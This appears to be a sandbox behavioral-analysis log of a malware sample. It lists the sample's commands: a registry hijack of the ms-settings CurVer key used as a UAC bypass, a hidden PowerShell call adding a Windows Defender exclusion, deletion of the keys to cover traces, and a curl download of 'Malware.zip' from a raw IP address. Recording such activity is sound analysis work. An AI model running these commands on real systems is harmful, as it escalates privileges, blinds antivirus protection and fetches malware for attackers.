Behavioral Analysis

reg.exe reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /v "" /d "C:\Users\test22\AppData\Local\Temp\X.exe -WindowStyle Hidden -Command & {Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\ServiceHub'}" /f

reg.exe reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f

timeout.exe timeout "3"

cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo yes "

reg.exe reg delete "HKCU\Software\Classes\.thm\Shell\Open\command" /f

cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo yes "

reg.exe reg delete "HKCU\Software\Classes\ms-settings\CurVer" /f

timeout.exe timeout "60"

curl.exe curl "45.66.230.113/Malware.zip" -O "C:\Users\test22\AppData\Local\ServiceHub\Malware.zip"